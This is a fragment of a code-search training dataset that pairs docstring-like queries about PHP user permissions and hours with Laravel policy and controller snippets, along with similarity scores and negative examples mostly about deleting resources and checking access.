"public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }",
"public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }",
"public function del($path){\n\t\treturn $this->remove($path);\n\t}",
"public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }",
"public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}",
"public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }",
"public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }",
"public function revoke($resource, $permission = null);",
"public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }",
"function delete($path);",
"public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}",
"public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }",
"public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }",
"public function remove($filePath){\n return Storage::delete($filePath);\n }",
"public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }",
"public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }",
"public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }",
"public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }",
"function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }",
"public function remove($id);",
"public function remove($id);",
"public function deleted(Storage $storage)\n {\n //\n }",
"public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }",
"public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }",
"public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }",
"public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }",
"function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}",
"public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }",
"public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}",
"public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }",
"public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }"
]
| [
"0.6672584",
"0.6659381",
"0.6635911",
"0.6632799",
"0.6626075",
"0.65424126",
"0.65416265",
"0.64648265",
"0.62882507",
"0.6175931",
"0.6129922",
"0.60893893",
"0.6054415",
"0.60428125",
"0.60064924",
"0.59337646",
"0.5930772",
"0.59199584",
"0.5919811",
"0.5904504",
"0.5897263",
"0.58962846",
"0.58951396",
"0.58951396",
"0.58951396",
"0.58951396",
"0.5880124",
"0.58690923",
"0.5863659",
"0.5809161",
"0.57735413",
"0.5760811",
"0.5753559",
"0.57492644",
"0.5741712",
"0.57334286",
"0.5726379",
"0.57144034",
"0.57096",
"0.5707689",
"0.5705895",
"0.5705634",
"0.5703902",
"0.5696585",
"0.5684331",
"0.5684331",
"0.56780374",
"0.5677111",
"0.5657287",
"0.5648262",
"0.5648085",
"0.5648012",
"0.5640759",
"0.5637738",
"0.5629985",
"0.5619264",
"0.56167465",
"0.5606877",
"0.56021434",
"0.5601949",
"0.55992156",
"0.5598557",
"0.55897516",
"0.5581397",
"0.5566926",
"0.5566796",
"0.55642897",
"0.55641",
"0.5556583",
"0.5556536",
"0.5550097",
"0.5543172",
"0.55422723",
"0.5540013",
"0.5540013",
"0.55371785",
"0.55365825",
"0.55300397",
"0.552969",
"0.55275744",
"0.55272335",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.5525997",
"0.5525624",
"0.5523911",
"0.5521122",
"0.5517412"
]
| 0.0 | -1 |
Determine whether the user can view hour history. | public function view(User $user, Hour $hour)
{
//Handled by controller
return $user->isAdmin() || $user->id === $hour->user_id;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function canShowHistory() {}",
"public function isHour() : bool {\n $hoursArr = $this->taskDetails['hours'];\n $retVal = true;\n\n if ($hoursArr['every-hour'] !== true) {\n $retVal = false;\n $current = TasksManager::getHour();\n $ranges = $hoursArr['at-range'];\n\n foreach ($ranges as $range) {\n if ($current >= $range[0] && $current <= $range[1]) {\n $retVal = true;\n break;\n }\n }\n\n if ($retVal === false) {\n $retVal = $this->isHourHelper($hoursArr, $current);\n }\n }\n\n return $retVal;\n }",
"public function canViewHistory()\n {\n return $this->settings->MODULES['REW_ISA_MODULE']\n && ($this->auth->isSuperAdmin()\n || $this->isSelf());\n }",
"private function isViewed() {\n $viewKey = $this->getViewKey();\n\n if ( Auth::check() ) {\n $viewed = Cache::get($viewKey.':user:'.Auth::user()->id);\n return !empty($viewed);\n } else {\n $time = session($viewKey);\n if ( !empty($time) ) {\n $viewed = (time() - $time) < config('counter.viewCountDuration') * 60;\n } else {\n $viewed = false;\n }\n return $viewed;\n }\n }",
"function hasRecentlyAction() {\n\n\t\t$limit = date('U') + (60 * 60 * $system[\"config\"][\"system\"][\"parameters\"][\"applicationTimeZoneGMT\"][\"value\"]) - (2 * 60 * 60);\n\n\t\tif ($this->isLoged() && $this->getLastAction('U') < $limit)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}",
"public function is_inspector()\n {\n $session = $this->session->userdata('user');\n if($session)\n {\n if($session['role'] == 'INSPECTOR')\n {\n if(date('H') > 7 AND date('H') < 14)\n {\n $access = FALSE;\n }\n else\n {\n $access = TRUE;\n }\n\n $session['timeAccess'] = $access;\n $this->session->set_userdata($session);\n return TRUE;\n }\n else\n {\n return FALSE;\n }\n }\n else\n {\n return FALSE;\n $this->log_out();\n }\n }",
"public function hasIsHistory()\n {\n return $this->is_history !== null;\n }",
"function canViewUsers( $sessionID ){\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"public function user_can_see_logs()\n {\n }",
"function last_visited_enabled() {\n\treturn !( OFF == config_get( 'recently_visited' ) || current_user_is_anonymous() );\n}",
"public function canBeViewed() {}",
"public static function canDisplayAuditTrailMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_AUDIT_TRAIL);\n\t}",
"public function isAllowedHistorySlugs()\n {\n return config('admin.sluggable_history', false) === true\n && $this->getProperty('sluggable_history') !== false;\n }",
"public static function checkHours(): int\n {\n $closeHour = Carbon::createFromTime(17, 0, 0, 'UTC')->getTimestamp();\n $currentHour = Carbon::now('UTC')->getTimestamp();\n $currentDay = Carbon::now('UTC');\n $currentDay = $currentDay->dayOfWeek;\n $websiteSettings = WebsiteSettings::find(1);\n\n if ($currentDay !== 0 && $currentDay !== 6 && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n if ($currentDay === 6 && $currentHour < $closeHour && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n return 1;\n }",
"public function isViewed() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->viewDate) ? false: true;\r\n\t}",
"function userCanViewSchedule( $sessionID ){\r\n\t\treturn $this->userCanViewStudent($sessionID);\r\n\t}",
"public function get_view_history_capability() {\n\t\t$view_history_capability = 'edit_pages';\n\n\t\t/**\n\t\t * Deprecated, use filter `simple_history/view_history_capability` instead.\n\t\t */\n\t\t$view_history_capability = apply_filters( 'simple_history_view_history_capability', $view_history_capability );\n\n\t\t/**\n\t\t * Filter the capability required to view main simple history page, with the activity feed.\n\t\t * Default capability is \"edit_pages\".\n\t\t *\n\t\t * @example Change the capability required to view the log to \"manage options\", so only allow admins are allowed to view the history log page.\n\t\t *\n\t\t * ```php\n\t\t * add_filter(\n\t\t * 'simple_history/view_history_capability',\n\t\t * function ( $capability ) {\n\t\t * $capability = 'manage_options';\n\t\t * return $capability;\n\t\t * }\n\t\t * );\n\t\t * ```\n\t\t *\n\t\t * @param string $view_history_capability\n\t\t */\n\t\t$view_history_capability = apply_filters( 'simple_history/view_history_capability', $view_history_capability );\n\n\t\treturn $view_history_capability;\n\t}",
"public function anyHistory() {\n return $this->getHistoryCount() !== 0;\n }",
"static function isTrackable()\n {\n if(!Auth::check())\n return true;\n $user = Auth::User();\n if(stristr($user->type, 'Employee') || stristr($user->type, 'Demo'))\n return false;\n return true;\n }",
"private function setViewed(){\n if ( !$this->isViewed() ){\n $viewKey = $this->getViewKey();\n\n if ( Auth::check() ){ //user had login, record user action\n Cache::put($viewKey.':user:'.Auth::user()->id, time(), Config::get('counter.viewCountDuration'));\n $this->recordUser('view');\n } else { //guest. use session\n session([$viewKey=>time()]);\n }\n\n return true;\n }\n\n return false;\n }",
"public function canShowTab()\r\n {\r\n return true;\r\n }",
"public function canShowTab()\r\n {\r\n return true;\r\n }",
"public function canShowTab()\r\n {\r\n return true;\r\n }",
"public function hasLogintime(){\n return $this->_has(2);\n }",
"public function isViewable(): bool\n\t{\n\t\treturn self::STATUS_ACTIVE === $this->get('status') && self::USER_VISIBLE === $this->get('visible');\n\t}",
"public function canShowTab()\r\n\t{\r\n\t\treturn true;\r\n\t}",
"public function hasAccess(): bool;",
"private function canView(): bool\n {\n return true;\n }",
"function userCanViewInterim( $sessionID ) {\r\n\t\treturn ($this->getAccessLevel() > 7 || $this->getAccessLevel() == 5);\r\n\t}",
"public function isEditable()\n\t{\n\t\tif(Auth::check())\n\t\t{\n\t\t\tif(Auth::user()->id == $this->author_id)\n\t\t\t{\n\t\t\t\tif ($this->created_at->diffInMinutes(Carbon::now()) < 30)\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(Auth::user()->hasRole(['moderator', 'administrator', 'super user'])) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}",
"public function canShowTab() {\r\n return true;\r\n }",
"public function canShowTab() {\r\n return true;\r\n }",
"public static function expired_user_has_access_to_this_page(){\n $auth = SwpmAuth::get_instance();\n \n //Check if the user is logged-into the site.\n if(!$auth->is_logged_in()){\n //Anonymous user. No access. No need to check anything else.\n return false;\n }\n \n //Check if account is expired.\n if (!$auth->is_expired_account()){\n //This users account is not expired. No need to check anything else.\n return false;\n }\n \n /*** We have a expired member. Lets check if he is viewing a page that is a core system used URL. ***/\n if (self::is_current_url_a_system_page()){ \n //Allow this expired user to view this post/page content since this is a core system page.\n return true;\n }\n \n //Not a system used page. So the expired user has no access to this page.\n return false;\n }",
"public function canShowTab() {\n return true;\n }",
"public function canShowTab() {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"public function canShowTab()\n {\n return true;\n }",
"protected function _isEnabled()\n {\n return Mage::helper('gri_reward')->isEnabledOnFront()\n && Mage::helper('gri_reward')->getGeneralConfig('publish_history');\n }",
"public function active_hour()\r\n\t{\r\n\t\t// Set the current page\r\n\t\t$data['current_page'] = 'active';\r\n\t\t$data['user'] = $this->user;\r\n\r\n\t\t// Load the active hours for the user.\r\n\t\t$data['active_hours'] = $this->posts->active_times_hours($this->user['id']);\r\n\r\n\t\t// Load the page\r\n\t\t$this->load->view('layouts/header', array('page_title' => $this->user['username']));\r\n\t\t$this->load->view('profiles/active_hour', $data);\r\n\t\t$this->load->view('layouts/footer');\r\n\t}",
"public function canShow()\n {\n return $this->_authSession->isFirstPageAfterLogin() && $this->_getLatestItem();\n }",
"public function canShowTab() {\n return true;\n }",
"public function canShowTab()\n {\n return $this->_getCurrentTheme()->isVirtual() && $this->_getCurrentTheme()->getId();\n }",
"function checkAccess () {\n if ($GLOBALS[\"pagedata\"][\"login\"] == 1) {\n if ($this->userid && $GLOBALS[\"user_show\"] == true) {\n return true;\n }\n else {\n return false;\n }\n }\n else {\n return true;\n }\n }",
"function checkAccess () {\n if ($GLOBALS[\"pagedata\"][\"login\"] == 1) {\n if ($this->userid && $GLOBALS[\"user_show\"] == true) {\n return true;\n }\n else {\n return false;\n }\n }\n else {\n return true;\n }\n }",
"protected function showmyhistory() {\n global $USER, $PAGE;\n\n // Create a navigation cache so that we can store the history\n $cache = new navigation_cache('navigationhistory', 60*60);\n\n // If the user isn't logged in or is a guest we don't want to display anything\n if (!isloggedin() || isguestuser()) {\n return false;\n }\n\n // Check the cache to see if we have loaded my courses already\n // there is a very good chance that we have\n if (!$cache->cached('history')) {\n $cache->history = array();\n }\n $history = $cache->history;\n $historycount = count($history);\n\n // Find the initial active node\n $child = false;\n if ($PAGE->navigation->contains_active_node()) {\n $child = $PAGE->navigation->find_active_node();\n } else if ($PAGE->settingsnav->contains_active_node()) {\n $child = $PAGE->settingsnav->find_active_node();\n }\n // Check that we found an active child node\n if ($child!==false) {\n $properties = array();\n // Check whether this child contains another active child node\n // this can happen if we are looking at a module\n if ($child->contains_active_node()) {\n $titlebits = array();\n // Loop while the child contains active nodes and in each iteration\n // find the next node in the correct direction\n while ($child!==null && $child->contains_active_node()) {\n if (!empty($child->shorttext)) {\n $titlebits[] = $child->shorttext;\n } else {\n $titlebits[] = $child->text;\n }\n foreach ($child->children as $child) {\n if ($child->contains_active_node() || $child->isactive) {\n // We have found the active child or one of its parents\n // so break the foreach so we can proceed in the while\n break;\n }\n }\n }\n if (!empty($child->shorttext)) {\n $titlebits[] = $child->shorttext;\n } else {\n $titlebits[] = $child->text;\n }\n $properties['text'] = join(' - ', $titlebits);\n $properties['shorttext'] = join(' - ', $titlebits);\n } else {\n $properties['text'] = $child->text;\n $properties['shorttext'] = $child->shorttext;\n }\n $properties['action'] = $child->action;\n $properties['key'] = $child->key;\n $properties['type'] = $child->type;\n $properties['icon'] = $child->icon;\n\n // Create a new navigation node object free of the main structure\n // so that it is easily storeable and customised\n $child = new navigation_node($properties);\n\n // Check that this page isn't already in the history array. If it is\n // we will remove it so that it gets added at the top and we dont get\n // duplicate entries\n foreach ($history as $key=>$node) {\n if ($node->key == $child->key && $node->type == $child->type) {\n if ($node->action instanceof moodle_url && $child->action instanceof moodle_url && $node->action->compare($child->action)) {\n unset($history[$key]);\n } else if ($child->action instanceof moodle_url && $child->action->out_omit_querystring() == $node->action) {\n unset($history[$key]);\n } else if ($child->action == $node->action) {\n unset($history[$key]);\n }\n }\n }\n // If there is more than 5 elements in the array remove the first one\n // We want a fifo array\n if (count($history) > 5) {\n array_shift($history);\n }\n $child->nodetype = navigation_node::NODETYPE_LEAF;\n $child->children = array();\n // Add the child to the history array\n array_push($history,$child);\n }\n\n // If we have `more than nothing` in the history display it :D\n if ($historycount > 0) {\n // Add a branch to hold the users history\n $mymoodle = $PAGE->navigation->get('mymoodle', navigation_node::TYPE_CUSTOM);\n $myhistorybranch = $mymoodle->add(get_string('showmyhistorytitle', $this->blockname), null, navigation_node::TYPE_CUSTOM, null, 'myhistory');\n $mymoodle->get($myhistorybranch)->children = array_reverse($history);\n }\n\n // Cache the history (or update the cached history as it is)\n $cache->history = $history;\n\n return true;\n }",
"public function has_access() { \n\n\t\tif (!Access::check('interface','25')) { \n\t\t\treturn false; \n\t\t} \n\t\tif ($this->user == $GLOBALS['user']->id) { \n\t\t\treturn true; \n\t\t} \n\t\telse {\n\t\t\treturn Access::check('interface','100'); \n\t\t} \t\n\n\t\treturn false; \n\n\t}",
"public function testAllowView()\n {\n $this->logOut();\n $viewFalse = LogEntry::create()->canView(null);\n $this->assertFalse($viewFalse);\n\n $this->logInWithPermission('ADMIN');\n $viewTrue = LogEntry::create()->canView();\n $this->assertTrue($viewTrue);\n }",
"function userCanViewUser( $sessionID, $userID ) {\r\n\t\t$thisUserID = $_SESSION['userid'];\r\n\t\tif($thisUserID == $userID)\r\n\t\t\treturn TRUE;\r\n\t\telse\r\n\t\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"function userCanViewPage()\n\t{\n\t\t// use Yawp::authUsername() instead of $this->username because\n\t\t// we need to know if the user is authenticated or not.\n\t\treturn $this->acl->pageView(Yawp::authUsername(), $this->area, \n\t\t\t$this->page);\n\t}",
"public function testHistoryPageDisplayed()\n {\n $user = factory(User::class)->make();\n\n $response = $this->actingAs($user)->get('/history');\n $response->assertStatus(200);\n\n $this->assertAuthenticatedAs($user);\n }",
"public function canShowTab()\n {\n $integrationData = $this->_coreRegistry->registry(\n Integration::REGISTRY_KEY_CURRENT_INTEGRATION\n );\n\n if (isset($integrationData['integration_id']) &&\n isset($integrationData['endpoint']) &&\n (str_contains($integrationData['endpoint'], 'extend.com') &&\n str_contains($integrationData['endpoint'], 'integ-mage'))\n ) {\n return true;\n }\n }",
"public function view(User $user)\n {\n return $user->hasAccess('view-conference-permission');\n }",
"public function user_can_see_trace_data() : bool\n {\n }",
"protected function isActivatedViaEndDateAndTime() {}",
"function user_can_richedit()\n {\n }",
"public static function isActivated ()\r\n {\r\n return Session::exists('acl');\r\n }",
"public function hasAuthticket()\n {\n return $this->get(self::AUTHTICKET) !== null;\n }",
"public function isRecentLogout()\n {\n if ($this->session->get($this->recentLogoutEventIndex)) {\n $this->session->set($this->recentLogoutEventIndex, false);\n return true;\n }\n return false;\n }",
"public function hasAccess() {\n return $this->_has(16);\n }",
"public function isLogined()\n {\n return isset($_SESSION['userLogin']);\n }",
"private function hasAccess() {\n\t\tif ($GLOBALS['BE_USER']->isAdmin()) {\n\t\t\treturn TRUE;\n\t\t}\n\n\t\treturn $this->userHasAccessToPages() && $this->userHasAccessToTables();\n\t}",
"public function isWithinLunchOrderHours()\n {\n $soo = option('ORDER_RESUMES');\n $coo = option('ORDER_CLOSES');\n\n return $this->allowOrdersAtAnytime() OR ($this->isWeekday() && $this->isHoursBetween($soo, $coo));\n }",
"function can_view_report() {\n //make sure context libraries are loaded\n $this->require_dependencies();\n\n //make sure the current user can view reports in at least one course context\n $contexts = get_contexts_by_capability_for_user('cluster', $this->access_capability, $this->userid);\n return !$contexts->is_empty();\n }",
"function isAuthed ()\r\n\t{\r\n\t\tif ((strlen($this->acUserAuth) > 0 ? $this->acUserAuth : 0) >= $this->acPageAuth)\r\n\t\t{\r\n\t\t\t$status = true;\r\n\t\t} else\r\n\t\t{\r\n\t\t\t$status = false;\r\n\t\t}\r\n\t\treturn $status;\r\n\t}",
"public function hours() {\n //TODO prediction\n }",
"public function canViewProfile() {\n\t\treturn (!$this->protectedProfile || WCF::getUser()->userID == $this->userID || UserProfile::isBuddy($this->userID) || WCF::getUser()->getPermission('admin.general.canViewPrivateUserOptions'));\n\t}",
"protected function isActivatedViaStartDateAndTime() {}",
"function can_do_edit() {\n global $USER;\n\n if (has_capability('block/php_report:manageschedules', get_context_instance(CONTEXT_SYSTEM))) {\n //user can manage schedules globally, so allow access\n return true;\n }\n\n $report_shortname = '';\n\n //try to obtain the report shortname from the report schedule id\n //(applies only during first step of wizard interface)\n $id = $this->optional_param('id', 0, PARAM_INT);\n if ($id !== 0) {\n if ($record = get_record('php_report_schedule', 'id', $id)) {\n if ($record->userid != $USER->id) {\n //disallow access to another user's schedule\n return false;\n }\n $config = unserialize($record->config);\n if (isset($config['report'])) {\n $report_shortname = $config['report'];\n }\n } else {\n //wrong id, so disallow\n return false;\n }\n }\n\n //try to obtain the report shortname from the workflow information\n //(applies only after the first step of the wizard interface)\n if ($report_shortname == '' && isset($this->workflow)) {\n $data = $this->workflow->unserialize_data();\n if ($data !== NULL && isset($data['report'])) {\n $report_shortname = $data['report'];\n }\n }\n\n if ($report_shortname === '') {\n //report info not found, so disallow\n return false;\n }\n\n //check permissions via the report\n $report_instance = php_report::get_default_instance($report_shortname, NULL, php_report::EXECUTION_MODE_SCHEDULED);\n return $report_instance !== false;\n }",
"public static function canDisplayIssueTrackerMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_ISSUE);\n\t}",
"public function hasTimeEvents(){\n return $this->_has(8);\n }",
"public function canView()\n {\n return !$this->is_private ||\n ( Auth::user() && ( $this->sender_id === Auth::id() || $this->recipient_id === Auth::id() ) );\n }",
"public function view(User $user, Habitacion $habitacion)\n {\n //\n return $user->id === $habitacion->user_id;\n }",
"public static function canViewNewTickets()\n\t{\n\t\tif (!auth()->check()) return false;\n\t\t$member = \\PanicHDMember::find(auth()->user()->id);\n\n\t\tif ($member->isAdmin()){\n\t\t\treturn true;\n\t\t}elseif($member->isAgent() and $member->currentLevel() == 2){\n\t\t\tif(Setting::grab('agent_restrict')==1){\n\t\t\t\treturn $member->categories()->wherePivot('autoassign','1')->count()==0 ? false : true;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}",
"public function view(User $user, Track $track)\n {\n return $user->hasPermissions('activity-log');\n }",
"public function isAccess();",
"public function canShowTab()\n {\n if (!$this->getPage()->getId()\n || !Mage::helper('gri_cms/hierarchy')->isEnabled()\n || !Mage::getSingleton('admin/session')->isAllowed('cms/hierarchy'))\n {\n return false;\n }\n return true;\n }",
"function get_is_upcoming_event_display($view): bool {\n $display = $view->current_display;\n\n switch ($display) {\n // Set the past events link for a topic filtered display.\n case 'page_1': // Event all display\n case 'page_3': // Event topic display\n case 'page_4': // Past topic display\n return TRUE;\n default:\n return FALSE;\n }\n}",
"function track_clicks_allowed_by_user(){\n if (!$this->get_config('track_visits_of_loggedin_users',true) && serendipity_userLoggedIn()){\n return false;\n }\n return true;\n }",
"public function isRefreshTimeBasedCookie() {}",
"public function isRefreshTimeBasedCookie() {}",
"public function hasTime(){\n return $this->_has(6);\n }",
"protected function isCurrentPageEditableByUser() {\n\n\t\t$title = $this->getTitle();\n\t\t$user = $this->getUser();\n\t\treturn $title->quickUserCan( 'edit', $user )\n\t\t\t&& ( $title->exists() || $title->quickUserCan( 'create', $user ) );\n\t}"
]
| [
"0.7051158",
"0.67266667",
"0.65576845",
"0.6087654",
"0.59916776",
"0.59082013",
"0.5890785",
"0.58796144",
"0.5817306",
"0.56813824",
"0.5672081",
"0.5647828",
"0.56055707",
"0.5595773",
"0.55777913",
"0.55722725",
"0.5564426",
"0.55564326",
"0.55506563",
"0.5485889",
"0.5482177",
"0.5482177",
"0.5482177",
"0.54795545",
"0.54685",
"0.5465331",
"0.5454809",
"0.5454702",
"0.5453009",
"0.5436005",
"0.5429895",
"0.5429895",
"0.54266924",
"0.54156804",
"0.54156804",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54096365",
"0.54070866",
"0.54055727",
"0.53990155",
"0.5382443",
"0.53816223",
"0.53659636",
"0.53659636",
"0.5362615",
"0.5362496",
"0.535637",
"0.5347871",
"0.5346388",
"0.5339075",
"0.5309785",
"0.53060055",
"0.53037876",
"0.53024334",
"0.52923614",
"0.5290823",
"0.5280242",
"0.5264967",
"0.52547777",
"0.5254711",
"0.52451205",
"0.52365935",
"0.5233765",
"0.5232088",
"0.5223154",
"0.5222446",
"0.5221003",
"0.5215599",
"0.5211124",
"0.5202498",
"0.51978254",
"0.5188731",
"0.51717144",
"0.5168152",
"0.5167948",
"0.51667064",
"0.51656216",
"0.51402617",
"0.5140099",
"0.5140099",
"0.51382494",
"0.5132523"
]
| 0.6548891 | 3 |
Determine whether the user can create hours. | public function create()
{
return isAdmin();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function isHour() : bool {\n $hoursArr = $this->taskDetails['hours'];\n $retVal = true;\n\n if ($hoursArr['every-hour'] !== true) {\n $retVal = false;\n $current = TasksManager::getHour();\n $ranges = $hoursArr['at-range'];\n\n foreach ($ranges as $range) {\n if ($current >= $range[0] && $current <= $range[1]) {\n $retVal = true;\n break;\n }\n }\n\n if ($retVal === false) {\n $retVal = $this->isHourHelper($hoursArr, $current);\n }\n }\n\n return $retVal;\n }",
"public function canCreate();",
"public function canCreate();",
"public function create(User $user)\n {\n return $user->hasPermissionTo('create meetingrooms');\n }",
"function userCanCreateUser( $sessionID ) {\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"public static function userCreationAllowed(): bool\n {\n return self::isConfigured(self::ACTION_ADD_USER);\n }",
"public function create(User $user)\n {\n if (\\Gate::allows('create-attendance')) {\n if ($user->hasStatus('2a', '3a')) {\n return $user->school()->has('teachers')->first();\n }\n }\n return false;\n }",
"public function create(): bool\n {\n return $this->isAllowed(self::CREATE);\n }",
"public function userHasCreatePermission(){\n//\t\tif(\\GO\\Base\\Model\\Acl::hasPermission($this->getPermissionLevel(),\\GO\\Base\\Model\\Acl::CREATE_PERMISSION)){\n//\t\t\treturn true;\n//\t\t}else \n\t\tif(\\GO::modules()->isInstalled('freebusypermissions')){\n\t\t\treturn \\GO\\Freebusypermissions\\FreebusypermissionsModule::hasFreebusyAccess(\\GO::user()->id, $this->user_id);\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}",
"public function create(User $user)\n {\n return $user->hasAccess('create-conference-permission');\n }",
"protected function canCreate() {}",
"public function canCreateAccounts()\n {\n return false;\n }",
"public function canSetCreatable();",
"public function hasCreatetime(){\n return $this->_has(1);\n }",
"public function create(User $user)\n {\n return $user->hasPermission('create-event');\n }",
"function validHours($hours)\n {\n return $hours >= 1 && $hours <= 4;\n }",
